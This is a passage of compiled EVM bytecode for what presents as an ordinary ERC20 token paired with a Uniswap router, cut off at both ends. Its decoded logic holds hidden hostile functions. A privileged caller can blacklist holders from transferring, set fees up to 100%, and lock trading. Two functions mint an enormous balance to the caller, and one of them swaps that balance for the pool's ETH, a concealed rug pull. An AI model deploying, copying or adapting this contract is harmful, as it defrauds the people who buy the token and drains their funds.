613efc565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f9b6021836130c5565b9150613fa682613f3f565b604082019050919050565b60006020820190508181036000830152613fca81613f8e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614007601d836130c5565b915061401282613fd1565b602082019050919050565b6000602082019050818103600083015261403681613ffa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006140996025836130c5565b91506140a48261403d565b604082019050919050565b600060208201905081810360008301526140c88161408c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061412b6023836130c5565b9150614136826140cf565b604082019050919050565b6000602082019050818103600083015261415a8161411e565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b60006141976020836130c5565b91506141a282614161565b602082019050919050565b600060208201905081810360008301526141c68161418a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006142296026836130c5565b9150614234826141cd565b604082019050919050565b600060208201905081810360008301526142588161421c565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b60006142bb6022836130c5565b91506142c68261425f565b604082019050919050565b600060208201905081810360008301526142ea816142ae565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006143276020836130c5565b9150614332826142f1565b602082019050919050565b600060208201905081810360008301526143568161431a565b9050919050565b7f416674657220746869732074786e20757365722077696c6c206578636565642060008201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b60006143b9602a836130c5565b91506143c48261435d565b604082019050919050565b600060208201905081810360008301526143e8816143ac565b9050919050565b7f54786e20416d6f756e7420746f6f206869676821000000000000000000000000600082015250565b60006144256014836130c5565b9150614430826143ef565b602082019050919050565b6000602082019050818103600083015261445481614418565b9050919050565b6000614466826131de565b9150614471836131de565b925082820261447f816131de565b91508282048414831517614496576144956135d0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144d7826131de565b91506144e2836131de565b9250826144f2576144f161449d565b5b82820490509291505056fea2646970667358221220b8cde1f64ae983a3da8cbb0e7b9865b9e58df10c3979e842579d3ce42b64efaf64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Deployed Bytecode

0x6080604052600436106102465760003560e01c806385ecafd711610139578063b5c72e1a116100b6578063e4440a861161007a578063e4440a86146108a6578063ecbe5a2d146108d1578063edd8b64a1461090e578063f1fee6a214610937578063f2fde38b14610960578063f6d1dfe11461098957610246565b8063b5c72e1a146107d3578063c87f299e14610810578063d445d19e14610827578063dd62ed3e1461083e578063e1370dd31461087b57610246565b8063a07fc5a2116100fd578063a07fc5a2146106dc578063a457c2d714610707578063a9059cbb14610744578063b179ce4014610781578063b49f93f7146107aa57610246565b806385ecafd7146105e35780638da5cb5b146106205780638dd0f4111461064b57806395d89b411461067457806399b102b51461069f57610246565b8063313ce567116101c75780635342acb41161018b5780635342acb4146104ec5780636db79437146105295780636dd3d39f1461055257806370a082311461058f578063715018a6146105cc57610246565b8063313ce567146103f557806335d1627414610420578063395093511461045d5780634d474d421461049a5780635337cc99146104c357610246565b80631c499ab01161020e5780631c499ab0146103115780631f6b29f71461033a578063203e727e1461036357806323b872dd1461038c5780632df8bca9146103c957610246565b806306fdde031461024b578063095ea7b3146102765780630bc488c5146102b35780630cdd8436146102bd57806318160ddd146102e6575b600080fd5b34801561025757600080fd5b506102606109b4565b60405161026d919061314a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613214565b610a46565b6040516102aa919061326f565b60405180910390f35b6102bb610a62565b005b3480156102c957600080fd5b506102e460048036038101906102df91906132c3565b610b9a565b005b3480156102f257600080fd5b506102fb610cfc565b6040516103089190613312565b60405180910390f35b34801561031d57600080fd5b506103386004803603810190610333919061332d565b610d06565b005b34801561034657600080fd5b50610361600480360381019061035c9190613386565b610d3c565b005b34801561036f57600080fd5b5061038a6004803603810190610385919061332d565b610e55565b005b34801561039857600080fd5b506103b360048036038101906103ae91906133c6565b610e8b565b6040516103c0919061326f565b60405180910390f35b3480156103d557600080fd5b506103de610eb3565b6040516103ec929190613419565b60405180910390f35b34801561040157600080fd5b5061040a610ec4565b6040516104179190613451565b60405180910390f35b34801561042c57600080fd5b506104476004803603810190610442919061346c565b610edb565b6040516104549190613312565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190613214565b611070565b604051610491919061326f565b60405180910390f35b3480156104a657600080fd5b506104c160048036038101906104bc919061346c565b6110a0565b005b3480156104cf57600080fd5b506104ea60048036038101906104e59190613386565b611110565b005b3480156104f857600080fd5b50610513600480360381019061050e919061346c565b611229565b604051610520919061326f565b60405180910390f35b34801561053557600080fd5b50610550600480360381019061054b9190613499565b61127f565b005b34801561055e57600080fd5b506105796004803603810190610574919061346c565b61130e565b604051610586919061326f565b60405180910390f35b34801561059b57600080fd5b506105b660048036038101906105b1919061346c565b611364565b6040516105c39190613312565b60405180910390f35b3480156105d857600080fd5b506105e16113ad565b005b3480156105ef57600080fd5b5061060a6004803603810190610605919061346c565b6113c1565b604051610617919061326f565b60405180910390f35b34801561062c57600080fd5b506106356113e1565b60405161064291906134e8565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190613386565b61140a565b005b34801561068057600080fd5b50610689611523565b604051610696919061314a565b60405180910390f35b3480156106ab57600080fd5b506106c660048036038101906106c1919061346c565b6115b5565b6040516106d3919061326f565b60405180910390f35b3480156106e857600080fd5b506106f161160b565b6040516106fe919061326f565b60405180910390f35b34801561071357600080fd5b5061072e60048036038101906107299190613214565b611622565b60405161073b919061326f565b60405180910390f35b34801561075057600080fd5b5061076b60048036038101906107669190613214565b611692565b604051610778919061326f565b60405180910390f35b34801561078d57600080fd5b506107a860048036038101906107a39190613386565b6116ae565b005b3480156107b657600080fd5b506107d160048036038101906107cc9190613503565b6117c7565b005b3480156107df57600080fd5b506107fa60048036038101906107f5919061346c565b611810565b604051610807919061326f565b60405180910390f35b34801561081c57600080fd5b50610825611879565b005b34801561083357600080fd5b5061083c611b6b565b005b34801561084a57600080fd5b5061086560048036038101906108609190613530565b611ba1565b6040516108729190613312565b60405180910390f35b34801561088757600080fd5b50610890611c28565b60405161089d9190613312565b60405180910390f35b3480156108b257600080fd5b506108bb611c32565b6040516108c891906134e8565b60405180910390f35b3480156108dd57600080fd5b506108f860048036038101906108f3919061346c565b611c58565b604051610905919061326f565b60405180910390f35b34801561091a57600080fd5b506109356004803603810190610930919061346c565b611cae565b005b34801561094357600080fd5b5061095e60048036038101906109599190613530565b611d1e565b005b34801561096c57600080fd5b506109876004803603810190610982919061346c565b611f72565b005b34801561099557600080fd5b5061099e611ff5565b6040516109ab9190613312565b60405180910390f35b6060600880546109c39061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef9061359f565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b600080339050610a57818585611fff565b600191505092915050565b610a8e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b610aa030610a9b33611364565b611692565b50610ad630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ad130611364565b611fff565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610b1f30611364565b600080336104b042610b3191906135ff565b6040518863ffffffff1660e01b8152600401610b5296959493929190613678565b60606040518083038185885af1158015610b70573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b9591906136ee565b505050565b610bc633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60028160ff1610610c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c039061378d565b60405180910390fd5b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c97906137f9565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610d3233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600f8190555050565b610d6833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df1906137f9565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e8133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8060118190555050565b600080339050610e9c85828561223a565b610ea78585856122c6565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610f4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f71919061389b565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190613903565b73ffffffffffffffffffffffffffffffffffffffff161461105157816dffffffffffffffffffffffffffff16611063565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506110958185856110868589611ba1565b61109091906135ff565b611fff565b600191505092915050565b6110cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61113c33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c5906137f9565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6112ab33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b606482111580156112bd575060648111155b6112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f3906139a2565b60405180910390fd5b81600b8190555080600c819055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113b5612ca4565b6113bf6000612d1b565b565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61143633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036114c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bf906137f9565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6060600980546115329061359f565b80601f016020809104026020016040519081016040528092919081815260200182805461155e9061359f565b80156115ab5780601f10611580576101008083540402835291602001916115ab565b820191906000526020600020905b81548152906001019060200180831161158e57829003601f168201915b5050505050905090565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601360009054906101000a900460ff16905090565b60008033905060006116348286611ba1565b905083811015611679576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167090613a34565b60405180910390fd5b6116868286868403611fff565b60019250505092915050565b6000803390506116a38185856122c6565b600191505092915050565b6116da33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361176c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611763906137f9565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6117f333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80601360006101000a81548160ff02191690831515021790555050565b600080601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161461186f576001611872565b60005b9050919050565b6118a533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60006118b030610edb565b90506000816dffffffffffffffffffffffffffff80166118d09190613a54565b90506118da612ddf565b6118ec306118e733611364565b611692565b5061192a30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611fff565b6060600267ffffffffffffffff81111561194757611946613a88565b5b6040519080825280602002602001820160405280156119755781602001602082028036833780820191505090505b509050308160008151811061198d5761198c613ab7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a589190613903565b81600181518110611a6c57611a6b613ab7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042611afc91906135ff565b6040518663ffffffff1660e01b8152600401611b1c959493929190613ba4565b6000604051808303816000875af1158015611b3b573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611b649190613d17565b5050505050565b611b9733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b611b9f612ddf565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600f54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611cda33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611d4a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611de15781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb39190613903565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401611eed929190613d60565b602060405180830381865afa158015611f0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2e9190613903565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611f7a612ca4565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe090613dfb565b60405180910390fd5b611ff281612d1b565b50565b6000601154905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361206e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206590613e8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613f1f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121bb9190613312565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222d90613fb1565b60405180910390fd5b5050565b60006122468484611ba1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146122c057818110156122b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a99061401d565b60405180910390fd5b6122bf8484848403611fff565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232c906140af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239b90614141565b60405180910390fd5b6123ad83611810565b156123ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e4906141ad565b60405180910390fd5b6123f8838383612e47565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561247f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124769061423f565b60405180910390fd5b601360009054906101000a900460ff16156125d05761249d84612fe1565b1561253357601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661252e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612525906142d1565b60405180910390fd5b6125cf565b61253c83612fe1565b156125ce57601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166125cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c4906142d1565b60405180910390fd5b5b5b5b6125d984611229565b1580156125ec57506125ea83611229565b155b15612b88576125fa84612fe1565b1561283457600061260d83600b54613093565b9050828261261b9190613a54565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808361266a9190613a54565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126b891906135ff565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661271a9190613a54565b6040516127279190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127a091906135ff565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128269190613312565b60405180910390a350612b83565b61283d83612fe1565b15612a7757600061285083600c54613093565b9050828261285e9190613a54565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836128ad9190613a54565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128fb91906135ff565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661295d9190613a54565b60405161296a9190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129e391906135ff565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a699190613312565b60405180910390a350612b82565b8181612a839190613a54565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b1591906135ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b799190613312565b60405180910390a35b5b612c93565b8181612b949190613a54565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c2691906135ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c8a9190613312565b60405180910390a35b612c9e8484846130b5565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16612cc36113e1565b73ffffffffffffffffffffffffffffffffffffffff1614612d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d109061433d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e3e91906135ff565b92505081905550565b6000600f5414158015612e605750612e5e82612fe1565b155b8015612e725750612e708261130e565b155b8015612e845750612e828361130e565b155b15612ee257600f5481612e9684611364565b612ea091906135ff565b1115612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed8906143cf565b60405180910390fd5b5b600060115414612fdc57601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612f905750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fdb57601154811115612fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fd19061443b565b60405180910390fd5b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061308c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846130a3919061445b565b6130ad91906144cc565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130f45780820151818401526020810190506130d9565b60008484015250505050565b6000601f19601f8301169050919050565b600061311c826130ba565b61312681856130c5565b93506131368185602086016130d6565b61313f81613100565b840191505092915050565b600060208201905081810360008301526131648184613111565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006131ab82613180565b9050919050565b6131bb816131a0565b81146131c657600080fd5b50565b6000813590506131d8816131b2565b92915050565b6000819050919050565b6131f1816131de565b81146131fc57600080fd5b50565b60008135905061320e816131e8565b92915050565b6000806040838503121561322b5761322a613176565b5b6000613239858286016131c9565b925050602061324a858286016131ff565b9150509250929050565b60008115159050919050565b61326981613254565b82525050565b60006020820190506132846000830184613260565b92915050565b600060ff82169050919050565b6132a08161328a565b81146132ab57600080fd5b50565b6000813590506132bd81613297565b92915050565b600080604083850312156132da576132d9613176565b5b60006132e8858286016131c9565b92505060206132f9858286016132ae565b9150509250929050565b61330c816131de565b82525050565b60006020820190506133276000830184613303565b92915050565b60006020828403121561334357613342613176565b5b6000613351848285016131ff565b91505092915050565b61336381613254565b811461336e57600080fd5b50565b6000813590506133808161335a565b92915050565b6000806040838503121561339d5761339c613176565b5b60006133ab858286016131c9565b92505060206133bc85828601613371565b9150509250929050565b6000806000606084860312156133df576133de613176565b5b60006133ed868287016131c9565b93505060206133fe868287016131c9565b925050604061340f868287016131ff565b9150509250925092565b600060408201905061342e6000830185613303565b61343b6020830184613303565b9392505050565b61344b8161328a565b82525050565b60006020820190506134666000830184613442565b92915050565b60006020828403121561348257613481613176565b5b6000613490848285016131c9565b91505092915050565b600080604083850312156134b0576134af613176565b5b60006134be858286016131ff565b92505060206134cf858286016131ff565b9150509250929050565b6134e2816131a0565b82525050565b60006020820190506134fd60008301846134d9565b92915050565b60006020828403121561351957613518613176565b5b600061352784828501613371565b91505092915050565b6000806040838503121561354757613546613176565b5b6000613555858286016131c9565b9250506020613566858286016131c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806135b757607f821691505b6020821081036135ca576135c9613570565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061360a826131de565b9150613615836131de565b925082820190508082111561362d5761362c6135d0565b5b92915050565b6000819050919050565b6000819050919050565b600061366261365d61365884613633565b61363d565b6131de565b9050919050565b61367281613647565b82525050565b600060c08201905061368d60008301896134d9565b61369a6020830188613303565b6136a76040830187613669565b6136b46060830186613669565b6136c160808301856134d9565b6136ce60a0830184613303565b979650505050505050565b6000815190506136e8816131e8565b92915050565b60008060006060848603121561370757613706613176565b5b6000613715868287016136d9565b9350506020613726868287016136d9565b9250506040613737868287016136d9565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b60006137776017836130c5565b915061378282613741565b602082019050919050565b600060208201905081810360008301526137a68161376a565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006137e3601d836130c5565b91506137ee826137ad565b602082019050919050565b60006020820190508181036000830152613812816137d6565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61383c81613819565b811461384757600080fd5b50565b60008151905061385981613833565b92915050565b600063ffffffff82169050919050565b6138788161385f565b811461388357600080fd5b50565b6000815190506138958161386f565b92915050565b6000806000606084860312156138b4576138b3613176565b5b60006138c28682870161384a565b93505060206138d38682870161384a565b92505060406138e486828701613886565b9150509250925092565b6000815190506138fd816131b2565b92915050565b60006020828403121561391957613918613176565b5b6000613927848285016138ee565b91505092915050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b600061398c6024836130c5565b915061399782613930565b604082019050919050565b600060208201905081810360008301526139bb8161397f565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613a1e6025836130c5565b9150613a29826139c2565b604082019050919050565b60006020820190508181036000830152613a4d81613a11565b9050919050565b6000613a5f826131de565b9150613a6a836131de565b9250828203905081811115613a8257613a816135d0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613b1b81